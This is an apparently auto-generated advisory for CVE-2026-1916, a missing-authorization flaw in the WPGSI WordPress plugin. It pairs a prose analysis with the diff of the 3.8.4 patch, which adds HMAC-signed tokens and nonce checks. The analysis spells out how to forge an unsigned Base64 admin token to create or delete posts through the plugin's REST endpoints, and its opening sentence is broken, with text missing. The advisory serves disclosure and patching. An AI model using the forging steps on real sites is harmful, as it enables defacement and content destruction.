Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1916: WPGSI: Spreadsheet Integration <= 3.8.3 – Missing Authorization to Unauthenticated Arbitrary Post Creation and Deletion via Forged Base64 Token (wpgsi)

CVE ID CVE-2026-1916
Plugin wpgsi
Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 3.8.3
Patched Version 3.8.4
Disclosed February 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1916:
This vulnerability in the WPGSI: Spreadsheet Integration WordPress plugin (versions ‘__return_true’` (lines 99 and 108 in the vulnerable code). This allows unauthenticated access to these endpoints. The plugin’s custom authentication relies on a Base64-encoded JSON object containing user ID and email, generated in the `wpgsi_getToken` function (line 1062). This token lacks any cryptographic signature, making it trivial to forge using publicly enumerable administrator information.

Exploitation requires an attacker to forge a valid token and target specific REST endpoints. The attacker first enumerates the administrator’s user ID (typically 1) and email address, which is often publicly available. They then construct a JSON object `{“id”:”1″,”email”:”admin@example.com”}`, Base64-encode it, and use it as the `token` parameter. The `/wp-json/wpgsi/accept` endpoint (POST) accepts this forged token to create or modify posts, while `/wp-json/wpgsi/update` (GET) uses it to delete posts. Both endpoints require a valid integration ID with remote updates enabled, which can be discovered through information leakage or brute force.

The patch addresses multiple security issues. It replaces the `permission_callback` with a new `wpgsi_permission_check` function that validates tokens cryptographically. The token generation in `wpgsi_getToken` (line 1065-1067) now creates an HMAC-SHA256 signature using `wp_salt(‘auth’)` and concatenates it with the payload using a dot separator. The validation function decodes the token, splits payload and signature, and verifies them with `hash_equals`. The patch also adds WordPress nonce verification to AJAX handlers (`wpgsi_changeIntegrationStatus`, `wpgsi_changeRemoteUpdateStatus`, `wpgsi_createSheetColumnTitles`) and admin actions, preventing CSRF attacks.

Successful exploitation grants attackers complete control over WordPress content. They can create arbitrary posts and pages with any content, modify existing content, and delete posts permanently. This leads to website defacement, SEO spam injection, malware distribution, and complete content destruction. The attack requires knowledge of the administrator email and an active integration ID, but both are often discoverable through WordPress user enumeration and plugin information leakage.

Differential between vulnerable and patched code

Code Diff
--- a/wpgsi/admin/class-wpgsi-admin.php
+++ b/wpgsi/admin/class-wpgsi-admin.php
@@ -766,6 +766,7 @@
     public function wpgsi_changeIntegrationStatus() {
         #
         if ( function_exists( 'current_user_can' ) && current_user_can( 'administrator' ) && current_user_can( 'publish_posts' ) && current_user_can( 'publish_pages' ) && current_user_can( 'edit_posts' ) && current_user_can( 'edit_others_posts' ) ) {
+            check_ajax_referer( 'wpgsi_ajax_nonce', 'wpgsi_nonce' );
             # Checking  SpreadsheetID is set or not
             if ( !isset( $_POST['integrationID'] ) or !is_numeric( $_POST['integrationID'] ) ) {
                 $this->common->wpgsi_log(
@@ -823,6 +824,7 @@
     public function wpgsi_changeRemoteUpdateStatus( $id = '' ) {
         #
         if ( function_exists( 'current_user_can' ) && current_user_can( 'administrator' ) && current_user_can( 'publish_posts' ) && current_user_can( 'publish_pages' ) && current_user_can( 'edit_posts' ) && current_user_can( 'edit_others_posts' ) ) {
+            check_ajax_referer( 'wpgsi_ajax_nonce', 'wpgsi_nonce' );
             # Checking  SpreadsheetID is set or not
             if ( !isset( $_POST['integrationID'] ) or !is_numeric( $_POST['integrationID'] ) ) {
                 $this->common->wpgsi_log(
@@ -899,6 +901,7 @@
      */
     public function wpgsi_createSheetColumnTitles() {
         if ( function_exists( 'current_user_can' ) && current_user_can( 'administrator' ) && current_user_can( 'publish_posts' ) && current_user_can( 'publish_pages' ) && current_user_can( 'edit_posts' ) && current_user_can( 'edit_others_posts' ) ) {
+            check_ajax_referer( 'wpgsi_ajax_nonce', 'wpgsi_nonce' );
             # Checking  SpreadsheetID is set or not
             if ( !isset( $_POST['integrationID'], $_POST['eventsAndTitles'] ) or !is_numeric( $_POST['integrationID'] ) ) {
                 $this->common->wpgsi_log(
@@ -1059,7 +1062,10 @@
             # User Email
             $userBase64TokenArr['email'] = $current_user->data->user_email;
             # Creating token;
-            $userToken = base64_encode( json_encode( $userBase64TokenArr ) );
+            # Fix: Base64 encode the payload to prevent dots in JSON interfering with structural dot separator
+            $payload = base64_encode( json_encode( $userBase64TokenArr ) );
+            $signature = hash_hmac( 'sha256', $payload, wp_salt( 'auth' ) );
+            $userToken = base64_encode( $payload . '.' . $signature );
             # Check and Balance.
             if ( !empty( $userToken ) ) {
                 $sheetData = @json_decode( $Integrations->post_excerpt, TRUE );
@@ -1121,6 +1127,15 @@
      */
     public function wpgsi_delete_connection( $id = '' ) {
         if ( function_exists( 'current_user_can' ) && current_user_can( 'administrator' ) && current_user_can( 'publish_posts' ) && current_user_can( 'publish_pages' ) && current_user_can( 'edit_posts' ) && current_user_can( 'edit_others_posts' ) ) {
+            if ( !isset( $_REQUEST['_wpnonce'] ) || !wp_verify_nonce( $_REQUEST['_wpnonce'], 'wpgsi_delete_relation_nonce' ) ) {
+                $this->common->wpgsi_log(
+                    get_class( $this ),
+                    __METHOD__,
+                    "403",
+                    "ERROR : Security check failed (nonce)."
+                );
+                wp_die( 'Security check failed' );
+            }
             # insert log
             $this->common->wpgsi_log(
                 get_class( $this ),
@@ -1168,6 +1183,15 @@
             #
             exit;
         }
+        if ( !isset( $_POST['wpgsi_nonce'] ) || !wp_verify_nonce( $_POST['wpgsi_nonce'], 'wpgsi_save_integration_action' ) ) {
+            $this->common->wpgsi_log(
+                get_class( $this ),
+                __METHOD__,
+                "403",
+                "ERROR : Security check failed."
+            );
+            wp_die( 'Security check failed' );
+        }
         # Setting ERROR status
         $errorStatus = TRUE;
         //
--- a/wpgsi/admin/class-wpgsi-settings.php
+++ b/wpgsi/admin/class-wpgsi-settings.php
@@ -119,13 +119,14 @@
 		# Routing Starts
 		# if it is log then User Will Go this True side, to see the log
 		if($action == 'log'){
+			$logNonce = wp_create_nonce('wpgsi_log_status_nonce');
 			# For Log Page
 			echo"<div class='wrap'>";
 				echo"<h1 class='wp-heading-inline'>  Log Page ";
 					if(! $logStatusOption  OR $logStatusOption == 'enable'){
-						echo"<span onclick='window.location="admin.php?page=wpgsi-settings&action=logStatus"' ><code>Log status <input type='checkbox' checked=checked ></code></span> ";
+						echo"<span onclick='window.location="admin.php?page=wpgsi-settings&action=logStatus&_wpnonce=". $logNonce .""' ><code>Log status <input type='checkbox' checked=checked ></code></span> ";
 					} else {
-						echo"<span style='color:red;' onclick='window.location="admin.php?page=wpgsi-settings&action=logStatus"' ><code>Log status <input type='checkbox' ></code></span>  ";
+						echo"<span style='color:red;' onclick='window.location="admin.php?page=wpgsi-settings&action=logStatus&_wpnonce=". $logNonce .""' ><code>Log status <input type='checkbox' ></code></span>  ";
 					}

 					echo"<code>Last 200 log</code>    ";
@@ -160,6 +161,10 @@
 			# for service-account-help slug !
 			require_once plugin_dir_path(dirname(__FILE__)).'admin/partials/wpgsi-service-ac-help-display.php';
 		} elseif ( $action == 'logStatus' ){
+			if ( ! isset( $_REQUEST['_wpnonce'] ) || ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'wpgsi_log_status_nonce' ) ) {
+				$this->common->wpgsi_log(get_class($this), __METHOD__,"403", "ERROR : Security check failed (nonce).");
+				wp_die( 'Security check failed' );
+			}
 			#
 			if(! $logStatusOption  OR  $logStatusOption == 'enable'){
 				# disabling the log
--- a/wpgsi/admin/class-wpgsi-update.php
+++ b/wpgsi/admin/class-wpgsi-update.php
@@ -96,17 +96,86 @@
         register_rest_route( 'wpgsi', '/accept', array(
             'methods'             => 'POST',
             'callback'            => array($this, 'wpgsi_callBackFuncAccept'),
-            'permission_callback' => '__return_true',
+            'permission_callback' => array($this, 'wpgsi_permission_check'),
+            'args'                => array(
+                'token' => array(
+                    'required' => true,
+                    'type'     => 'string',
+                ),
+            ),
         ) );
         # For updating data site data
         register_rest_route( 'wpgsi', '/update', array(
             'methods'             => 'GET',
             'callback'            => array($this, 'wpgsi_callBackFuncUpdate'),
-            'permission_callback' => '__return_true',
+            'permission_callback' => array($this, 'wpgsi_permission_check'),
+            'args'                => array(
+                'token' => array(
+                    'required' => true,
+                    'type'     => 'string',
+                ),
+            ),
         ) );
     }

     /**
+     * Permission callback for REST routes
+     */
+    public function wpgsi_permission_check( $request ) {
+        $token = $request->get_param( 'token' );
+        // Fallback: Check JSON body explicitly if get_param fails
+        if ( empty( $token ) ) {
+            $json_params = $request->get_json_params();
+            if ( !empty( $json_params ) && isset( $json_params['token'] ) ) {
+                $token = $json_params['token'];
+            }
+        }
+        if ( empty( $token ) ) {
+            // Try getting from headers if not in params - just in case
+            $token = $request->get_header( 'x-wpgsi-token' );
+            if ( empty( $token ) ) {
+                $this->common->wpgsi_log(
+                    get_class( $this ),
+                    __METHOD__,
+                    "401",
+                    "ERROR: Token not provided in request params (param/json/header)."
+                );
+                return new WP_Error('rest_forbidden', 'Token missing from request', array(
+                    'status' => 401,
+                ));
+            }
+        }
+        $decoded = base64_decode( $token );
+        if ( false === $decoded || strpos( $decoded, '.' ) === false ) {
+            $this->common->wpgsi_log(
+                get_class( $this ),
+                __METHOD__,
+                "401",
+                "ERROR: Token decode failed or format invalid."
+            );
+            return new WP_Error('rest_forbidden', 'Invalid token format', array(
+                'status' => 401,
+            ));
+        }
+        // Update the wpgsi_permission_check to match the new format
+        list( $payload, $signature ) = explode( '.', $decoded, 2 );
+        $expected_signature = hash_hmac( 'sha256', $payload, wp_salt( 'auth' ) );
+        # NOTE: $payload is now Base64(JSON). This fixes the "dot in JSON" bug.
+        if ( hash_equals( $expected_signature, $signature ) ) {
+            return true;
+        }
+        $this->common->wpgsi_log(
+            get_class( $this ),
+            __METHOD__,
+            "401",
+            "ERROR: Token signature mismatch. Payload: " . $payload
+        );
+        return new WP_Error('rest_forbidden', 'Signature Mismatch.', array(
+            'status' => 401,
+        ));
+    }
+
+    /**
      * This is the callback function of register_rest_route() Function
      * This Function get the Request data & handel the Request and return the response
      * *** IMPORTANT  if you use *** POST MAN *** mast use data as JSON ***
@@ -134,7 +203,15 @@
             return $response;
         }
         # converting data from base64 string
-        $jsonString = @base64_decode( $data['token'] );
+        $decoded = base64_decode( $data['token'] );
+        if ( strpos( $decoded, '.' ) !== false ) {
+            list( $b64Payload, $signature ) = explode( '.', $decoded, 2 );
+            $jsonString = base64_decode( $b64Payload );
+            // Fix: Decode payload to get JSON
+        } else {
+            $jsonString = "";
+            // Fail
+        }
         # encoding JSON string to PHP array
         $updateInfo = json_decode( $jsonString, TRUE );
         # User information validation;  $updateInfo array and isset( ) check for ID, UID, email
@@ -601,6 +678,18 @@
         # Setting Update List on the Site Option cache *** important without saving it will n
         update_option( 'wpgsi_remote_data', $processedData );
         update_option( 'wpgsi_integrationID', $Integration->ID );
+        # Fix: Save original status to restore it correctly after update
+        # Save current status if original status hasn't been saved yet for this update cycle.
+        $existing_original_status = get_option( 'wpgsi_integration_original_status' );
+        if ( empty( $existing_original_status ) ) {
+            update_option( 'wpgsi_integration_original_status', $Integration->post_status );
+        } else {
+            # If we already have a status saved, and the current status is publish, update it.
+            # This handles the case where a previous run crashed but the user re-enabled the integration manually.
+            if ( $Integration->post_status == 'publish' ) {
+                update_option( 'wpgsi_integration_original_status', 'publish' );
+            }
+        }
         # After Update to the Array Unset The Variable For Memory management || clear the Memory
         unset($data);
         unset($updateInfo);
@@ -657,7 +746,12 @@
             # getting the Integration.
             $post = get_post( $integration_id );
             # if Post is Publish, Stop the Post by making it Pending.
+            # Only do this if we haven't already saved the status for this update cycle.
             if ( $post->post_status == 'publish' ) {
+                # If we are here, it means we are catching an integration that is still published.
+                # This could be the FIRST batch of an update.
+                # We should ensure we saved its state.
+                update_option( 'wpgsi_integration_original_status', 'publish' );
                 $update_post = array(
                     'ID'          => $integration_id,
                     'post_status' => 'pending',
@@ -707,14 +801,20 @@
         if ( empty( $savedData ) ) {
             # getting  integration ID
             $post = get_post( $integration_id );
-            # if integration is  Pending Publish the integration
-            if ( $post->post_status == 'pending' ) {
+            # Restore original status logic
+            $original_status = get_option( 'wpgsi_integration_original_status' );
+            # Only re-enable if it was originally 'publish'
+            if ( $original_status === 'publish' ) {
+                # Logic: Always try to restore to publish if original was publish,
+                # regardless of current status, to ensure consistency.
                 $update_post = array(
                     'ID'          => $integration_id,
                     'post_status' => 'publish',
                 );
                 wp_update_post( $update_post, true );
             }
+            # Clean up original status option
+            delete_option( 'wpgsi_integration_original_status' );
             # Delete Product cache Too || no garbage
             delete_option( 'wpgsi_remote_data' );
             # Delete wpgsi_integrationID
--- a/wpgsi/admin/partials/wpgsi-edit-integration-display.php
+++ b/wpgsi/admin/partials/wpgsi-edit-integration-display.php
@@ -11,6 +11,7 @@
                 <!-- <pre> {{ $data }}  </pre>  -->
                 <br>
                 <form action="<?php echo esc_url(admin_url('admin-post.php'));?>" method="post">
+                    <?php wp_nonce_field( 'wpgsi_save_integration_action', 'wpgsi_nonce' ); ?>
                     <input type="hidden" name="action" value="wpgsi_Integration">
                     <input type="hidden" name="status" value="edit_Integration" />
                     <input type="hidden" name="ID" value= "<?php echo esc_attr($_GET["id"]);?>"/>
--- a/wpgsi/admin/partials/wpgsi-new-integration-display.php
+++ b/wpgsi/admin/partials/wpgsi-new-integration-display.php
@@ -12,6 +12,7 @@
                 <!-- <pre> {{ $data }}  </pre>  -->
                 <br>
                 <form action="<?php echo esc_url(admin_url('admin-post.php'));?>" method="post">
+                    <?php wp_nonce_field( 'wpgsi_save_integration_action', 'wpgsi_nonce' ); ?>
                     <input type="hidden" name="action" value="wpgsi_Integration">
                     <input type="hidden" name="status" value="new_Integration">
                     <input type="hidden" name="DataSource" v-model="DataSource">
--- a/wpgsi/admin/partials/wpgsi-remoteUpdate.php
+++ b/wpgsi/admin/partials/wpgsi-remoteUpdate.php
@@ -74,7 +74,7 @@
             console.log("SUCCESS: Site successfully saved the data to the Option table.");
             // request for update loop starts
             for(let i = 1; i < 10; i++){
-                var updateResponse      = UrlFetchApp.fetch("<?php echo get_site_url() . '/wp-json/wpgsi/update'?>");
+                var updateResponse      = UrlFetchApp.fetch("<?php echo get_site_url() . '/wp-json/wpgsi/update' . '?token=' . $userToken ?>");
                 var updateResponseJSON  = JSON.parse(updateResponse.getContentText());
                 // Breaking the update request Loop if Update successfully completed
                 if(updateResponseJSON['code'] && updateResponseJSON['code'] == 202){
@@ -173,7 +173,6 @@
             </p>
         </div>

-
         <div id='step_4'>
             <br><br>
             <h3> <span style='color:red;'> Step 3 : </span> Tips, Tricks & Safety measures. </h3>
--- a/wpgsi/includes/class-wpgsi-list-table.php
+++ b/wpgsi/includes/class-wpgsi-list-table.php
@@ -440,7 +440,8 @@
                     // AJAX Data
                     var data = {
                         "action" 	    : 'wpgsi_changeIntegrationStatus',
-                        "integrationID" : integrationID
+                        "integrationID" : integrationID,
+                        "wpgsi_nonce"   : "<?php echo wp_create_nonce('wpgsi_ajax_nonce'); ?>"
                     };
                     // Request Object
                     let request = new XMLHttpRequest();
@@ -468,6 +469,7 @@
                         "action" 	      : 'wpgsi_createSheetColumnTitles',
                         "integrationID"   : integrationID,
                         "eventsAndTitles" : eventsAndTitles,
+                        "wpgsi_nonce"     : "<?php echo wp_create_nonce('wpgsi_ajax_nonce'); ?>"
                     };
                     // Request Object
                     let request = new XMLHttpRequest();
@@ -493,7 +495,8 @@
                     // AJAX Data
                     var data = {
                         "action" 	    : 'wpgsi_changeRemoteUpdateStatus',
-                        "integrationID" : integrationID
+                        "integrationID" : integrationID,
+                        "wpgsi_nonce"   : "<?php echo wp_create_nonce('wpgsi_ajax_nonce'); ?>"
                     };
                     // Request Object
                     let request = new XMLHttpRequest();
--- a/wpgsi/includes/class-wpgsi.php
+++ b/wpgsi/includes/class-wpgsi.php
@@ -46,7 +46,7 @@
 		if(defined('WPGSI_VERSION')){
 			$this->version = WPGSI_VERSION;
 		} else {
-			$this->version = '3.8.3';
+			$this->version = '3.8.4';
 		}

 		$this->plugin_name = 'wpgsi';
--- a/wpgsi/includes/freemius/includes/class-freemius.php
+++ b/wpgsi/includes/freemius/includes/class-freemius.php
@@ -3629,7 +3629,7 @@

             $this->delete_current_install( false );

-            $license_key = false;
+            $license = null;

             if (
                 is_object( $this->_license ) &&
@@ -3637,20 +3637,21 @@
                     ( WP_FS__IS_LOCALHOST_FOR_SERVER || FS_Site::is_localhost_by_address( self::get_unfiltered_site_url() ) )
                 )
             ) {
-                $license_key = $this->_license->secret_key;
+                $license = $this->_license;
             }

             return $this->opt_in(
                 false,
                 false,
                 false,
-                $license_key,
+                ( is_object( $license ) ? $license->secret_key : false ),
                 false,
                 false,
                 false,
                 null,
                 array(),
-                false
+                false,
+                ( is_object( $license ) ? $license->user_id : null )
             );
         }

@@ -4494,33 +4495,31 @@
                 return;
             }

-            if ( $this->has_api_connectivity() ) {
-                if ( self::is_cron() ) {
-                    $this->hook_callback_to_sync_cron();
-                } else if ( $this->is_user_in_admin() ) {
-                    /**
-                     * Schedule daily data sync cron if:
-                     *
-                     *  1. User opted-in (for tracking).
-                     *  2. If skipped, but later upgraded (opted-in via upgrade).
-                     *
-                     * @author Vova Feldman (@svovaf)
-                     * @since  1.1.7.3
-                     *
-                     */
-                    if ( $this->is_registered() && $this->is_tracking_allowed() ) {
-                        $this->maybe_schedule_sync_cron();
-                    }
+            $this->hook_callback_to_sync_cron();

-                    /**
-                     * Check if requested for manual blocking background sync.
-                     */
-                    if ( fs_request_has( 'background_sync' ) ) {
-                        self::require_pluggable_essentials();
-                        self::wp_cookie_constants();
+            if ( $this->has_api_connectivity() && ! self::is_cron() && $this->is_user_in_admin() ) {
+                /**
+                 * Schedule daily data sync cron if:
+                 *
+                 *  1. User opted-in (for tracking).
+                 *  2. If skipped, but later upgraded (opted-in via upgrade).
+                 *
+                 * @author Vova Feldman (@svovaf)
+                 * @since  1.1.7.3
+                 *
+                 */
+                if ( $this->is_registered() && $this->is_tracking_allowed() ) {
+                    $this->maybe_schedule_sync_cron();
+                }

-                        $this->run_manual_sync();
-                    }
+                /**
+                 * Check if requested for manual blocking background sync.
+                 */
+                if ( fs_request_has( 'background_sync' ) ) {
+                    self::require_pluggable_essentials();
+                    self::wp_cookie_constants();
+
+                    $this->run_manual_sync();
                 }
             }

@@ -7659,7 +7658,14 @@
                     $parent_fs->get_current_or_network_user()->email,
                     false,
                     false,
-                    $license->secret_key
+                    $license->secret_key,
+                    false,
+                    false,
+                    false,
+                    null,
+                    array(),
+                    true,
+                    $license->user_id
                 );
             } else {
                 // Activate the license.
@@ -7723,7 +7729,9 @@
                     false,
                     false,
                     null,
-                    $sites
+                    $sites,
+                    true,
+                    $license->user_id
                 );
             } else {
                 $blog_2_install_map = array();
@@ -7777,7 +7785,7 @@
          * @param array             $sites
          * @param int               $blog_id
          */
-        private function maybe_activate_bundle_license( FS_Plugin_License $license = null, $sites = array(), $blog_id = 0 ) {
+        private function maybe_activate_bundle_license( $license = null, $sites = array(), $blog_id = 0 ) {
             if ( ! is_object( $license ) && $this->has_active_valid_license() ) {
                 $license = $this->_license;
             }
@@ -7949,7 +7957,8 @@
                     null,
                     null,
                     $sites,
-                    ( $current_blog_id > 0 ? $current_blog_id : null )
+                    ( $current_blog_id > 0 ? $current_blog_id : null ),
+                    $license->user_id
                 );
             }
         }
@@ -8830,8 +8839,13 @@
                      isset( $site_active_plugins[ $basename ] )
                 ) {
                     // Plugin was site level activated.
-                    $site_active_plugins_cache->plugins[ $basename ]              = $network_plugins[ $basename ];
-                    $site_active_plugins_cache->plugins[ $basename ]['is_active'] = true;
+                    $site_active_plugins_cache->plugins[ $basename ] = array(
+                        'slug'           => $network_plugins[ $basename ]['slug'],
+                        'version'        => $network_plugins[ $basename ]['Version'],
+                        'title'          => $network_plugins[ $basename ]['Name'],
+                        'is_active'      => $is_active,
+                        'is_uninstalled' => false,
+                    );
                 } else if ( isset( $site_active_plugins_cache->plugins[ $basename ] ) &&
                             ! isset( $site_active_plugins[ $basename ] )
                 ) {
@@ -11576,7 +11590,7 @@
                         continue;
                     }

-                    $missing_plan = self::_get_plan_by_id( $plan_id );
+                    $missing_plan = self::_get_plan_by_id( $plan_id, false );

                     if ( is_object( $missing_plan ) ) {
                         $plans[] = $missing_plan;
@@ -11738,10 +11752,10 @@
          *
          * @return FS_Plugin_Plan|false
          */
-        function _get_plan_by_id( $id ) {
+        function _get_plan_by_id( $id, $allow_sync = true ) {
             $this->_logger->entrance();

-            if ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) {
+            if ( $allow_sync && ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) ) {
                 $this->_sync_plans();
             }

@@ -12385,7 +12399,7 @@
          *
          * @param FS_Plugin_License $license
          */
-        private function set_license( FS_Plugin_License $license = null ) {
+        private function set_license( $license = null ) {
             $this->_license = $license;

             $this->maybe_update_whitelabel_flag( $license );
@@ -13485,7 +13499,8 @@
                 fs_request_get( 'module_id', null, 'post' ),
                 fs_request_get( 'user_id', null ),
                 fs_request_get_bool( 'is_extensions_tracking_allowed', null ),
-                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null )
+                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null ),
+                fs_request_get( 'license_owner_id', null )
             );

             if (
@@ -13634,6 +13649,7 @@
          * @param null|number $plugin_id
          * @param array       $sites
          * @param int         $blog_id
+         * @param null|number $license_owner_id
          *
          * @return array {
          *      @var bool   $success
@@ -13648,7 +13664,8 @@
             $is_marketing_allowed = null,
             $plugin_id = null,
             $sites = array(),
-            $blog_id = null
+            $blog_id = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13659,7 +13676,11 @@
                     $sites,
                 $is_marketing_allowed,
                 $blog_id,
-                $plugin_id
+                $plugin_id,
+                null,
+                null,
+                null,
+                $license_owner_id
             );

             // No need to show the sticky after license activation notice after migrating a license.
@@ -13733,9 +13754,10 @@
          * @param null|bool   $is_marketing_allowed
          * @param null|int    $blog_id
          * @param null|number $plugin_id
-         * @param null|number $license_owner_id
+         * @param null|number $user_id
          * @param bool|null   $is_extensions_tracking_allowed
          * @param bool|null   $is_diagnostic_tracking_allowed Since 2.5.0.2 to allow license activation with minimal data footprint.
+         * @param null|number $license_owner_id
          *
          *
          * @return array {
@@ -13750,9 +13772,10 @@
             $is_marketing_allowed = null,
             $blog_id = null,
             $plugin_id = null,
-            $license_owner_id = null,
+            $user_id = null,
             $is_extensions_tracking_allowed = null,
-            $is_diagnostic_tracking_allowed = null
+            $is_diagnostic_tracking_allowed = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13841,10 +13864,10 @@

                         $install_ids = array();

-                        $change_owner = FS_User::is_valid_id( $license_owner_id );
+                        $change_owner = FS_User::is_valid_id( $user_id );

                         if ( $change_owner ) {
-                            $params['user_id'] = $license_owner_id;
+                            $params['user_id'] = $user_id;

                             $installs_info_by_slug_map = $fs->get_parent_and_addons_installs_info();

@@ -13920,7 +13943,9 @@
                     false,
                     false,
                     $is_marketing_allowed,
-                    $sites
+                    $sites,
+                    true,
+                    $license_owner_id
                 );

                 if ( isset( $next_page->error ) ) {
@@ -14009,6 +14034,10 @@
                 $result['next_page'] = $next_page;
             }

+            if ( $result['success'] ) {
+                $this->do_action( 'after_license_activation' );
+            }
+
             return $result;
         }

@@ -15630,7 +15659,7 @@
          *
          * @return bool Since 2.3.1 returns if a switch was made.
          */
-        function switch_to_blog( $blog_id, FS_Site $install = null, $flush = false ) {
+        function switch_to_blog( $blog_id, $install = null, $flush = false ) {
             if ( ! is_numeric( $blog_id ) ) {
                 return false;
             }
@@ -15757,6 +15786,10 @@
         function get_site_info( $site = null, $load_registration = false ) {
             $this->_logger->entrance();

+            $fs_hook_snapshot = new FS_Hook_Snapshot();
+            // Remove all filters from `switch_blog`.
+            $fs_hook_snapshot->remove( 'switch_blog' );
+
             $switched = false;

             $registration_date = null;
@@ -15816,6 +15849,9 @@
                 restore_current_blog();
             }

+            // Add the filters back to `switch_blog`.
+            $fs_hook_snapshot->restore( 'switch_blog' );
+
             return $info;
         }

@@ -16936,14 +16972,13 @@
          *
          * @param array         $override_with
          * @param bool|int|null $network_level_or_blog_id If true, return params for network level opt-in. If integer, get params for specified blog in the network.
+         * @param bool          $skip_user_info
          *
          * @return array
          */
-        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null ) {
+        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null, $skip_user_info = false ) {
             $this->_logger->entrance();

-            $current_user = self::_get_current_wp_user();
-
             $activation_action = $this->get_unique_affix() . '_activate_new';
             $return_url        = $this->is_anonymous() ?
                 // If skipped already, then return to the account page.
@@ -16954,9 +16989,6 @@
             $versions = $this->get_versions();

             $params = array_merge( $versions, array(
-                'user_firstname'    => $current_user->user_firstname,
-                'user_lastname'     => $current_user->user_lastname,
-                'user_email'        => $current_user->user_email,
                 'plugin_slug'       => $this->_slug,
                 'plugin_id'         => $this->get_id(),
                 'plugin_public_key' => $this->get_public_key(),
@@ -16972,6 +17004,21 @@
                 'is_localhost'      => WP_FS__IS_LOCALHOST,
             ) );

+            if (
+                ! $skip_user_info &&
+                (
+                    empty( $override_with['user_firstname'] ) ||
+                    empty( $override_with['user_lastname'] ) ||
+                    empty( $override_with['user_email'] )
+                )
+            ) {
+                $current_user = self::_get_current_wp_user();
+
+                $params['user_firstname'] = $current_user->user_firstname;
+                $params['user_lastname']  = $current_user->user_lastname;
+                $params['user_email']     = $current_user->user_email;
+            }
+
             if ( $this->is_addon() ) {
                 $parent_fs = $this->get_parent_instance();

@@ -17051,6 +17098,7 @@
          * @param null|bool   $is_marketing_allowed
          * @param array       $sites                If network-level opt-in, an array of containing details of sites.
          * @param bool        $redirect
+         * @param null|number $license_owner_id
          *
          * @return string|object
          * @use    WP_Error
@@ -17065,15 +17113,11 @@
             $is_disconnected = false,
             $is_marketing_allowed = null,
             $sites = array(),
-            $redirect = true
+            $redirect = true,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

-            if ( false === $email ) {
-                $current_user = self::_get_current_wp_user();
-                $email        = $current_user->user_email;
-            }
-
             /**
              * @since 1.2.1 If activating with license key, ignore the context-user
              *              since the user will be automatically loaded from the license.
@@ -17083,6 +17127,11 @@
                 $this->_storage->remove( 'pending_license_key' );

                 if ( ! $is_uninstall ) {
+                    if ( false === $email ) {
+                        $current_user = self::_get_current_wp_user();
+                        $email        = $current_user->user_email;
+                    }
+
                     $fs_user = Freemius::_get_user_by_email( $email );
                     if ( is_object( $fs_user ) && ! $this->is_pending_activation() ) {
                         return $this->install_with_user(
@@ -17097,15 +17146,22 @@
                 }
             }

+            $skip_user_info = ( ! empty( $license_key ) && FS_User::is_valid_id( $license_owner_id ) );
+
             $user_info = array();
-            if ( ! empty( $email ) ) {
-                $user_info['user_email'] = $email;
-            }
-            if ( ! empty( $first ) ) {
-                $user_info['user_firstname'] = $first;
-            }
-            if ( ! empty( $last ) ) {
-                $user_info['user_lastname'] = $last;
+
+            if ( ! $skip_user_info ) {
+                if ( ! empty( $email ) ) {
+               	    $user_info['user_email'] = $email;
+                }
+
+                if ( ! empty( $first ) ) {
+               	    $user_info['user_firstname'] = $first;
+                }
+
+                if ( ! empty( $last ) ) {
+               	    $user_info['user_lastname'] = $last;
+                }
             }

             if ( ! empty( $sites ) ) {
@@ -17116,7 +17172,7 @@
                 $is_network = false;
             }

-            $params = $this->get_opt_in_params( $user_info, $is_network );
+            $params = $this->get_opt_in_params( $user_info, $is_network, $skip_user_info );

             $filtered_license_key = false;
             if ( is_string( $license_key ) ) {
@@ -18112,7 +18168,7 @@
         private function _activate_addon_account(
             Freemius $parent_fs,
             $network_level_or_blog_id = null,
-            FS_Plugin_License $bundle_license = null
+            $bundle_license = null
         ) {
             if ( $this->is_registered() ) {
                 // Already activated.
@@ -18745,7 +18801,7 @@
          * @return bool
          */
         function is_pricing_page_visible() {
-            return (
+            $visible = (
                 // Has at least one paid plan.
                 $this->has_paid_plan() &&
                 // Didn't ask to hide the pricing page.
@@ -18753,6 +18809,8 @@
                 // Don't have a valid active license or has more than one plan.
                 ( ! $this->is_paying() || ! $this->is_single_plan( true ) )
             );
+
+            return $this->apply_filters( 'is_pricing_page_visible', $visible );
         }

         /**
@@ -19708,7 +19766,7 @@
          * @param null|int $network_level_or_blog_id Since 2.0.0
          * @param FS_Site $site                     Since 2.0.0
          */
-        private function _store_site( $store = true, $network_level_or_blog_id = null, FS_Site $site = null, $is_backup = false ) {
+        private function _store_site( $store = true, $network_level_or_blog_id = null, $site = null, $is_backup = false ) {
             $this->_logger->entrance();

             if ( is_null( $site ) ) {
@@ -20561,11 +20619,18 @@
          * @param bool        $flush      Since 1.1.7.3
          * @param int         $expiration Since 1.2.2.7
          * @param bool|string $newer_than Since 2.2.1
+         * @param bool        $fetch_upgrade_notice Since 2.12.1
          *
          * @return object|false New plugin tag info if exist.
          */
-        private function _fetch_newer_version( $plugin_id = false, $flush = true, $expiration = WP_FS__TIME_24_HOURS_IN_SEC, $newer_than = false ) {
-            $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than );
+        private function _fetch_newer_version(
+            $plugin_id = false,
+            $flush = true,
+            $expiration = WP_FS__TIME_24_HOURS_IN_SEC,
+            $newer_than = false,
+            $fetch_upgrade_notice = true
+        ) {
+            $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than, false, $fetch_upgrade_notice );

             if ( ! is_object( $latest_tag ) ) {
                 return false;
@@ -20598,19 +20663,18 @@
          *
          * @param bool|number $plugin_id
          * @param bool        $flush      Since 1.1.7.3
-         * @param int         $expiration Since 1.2.2.7
-         * @param bool|string $newer_than Since 2.2.1
          *
          * @return bool|FS_Plugin_Tag
          */
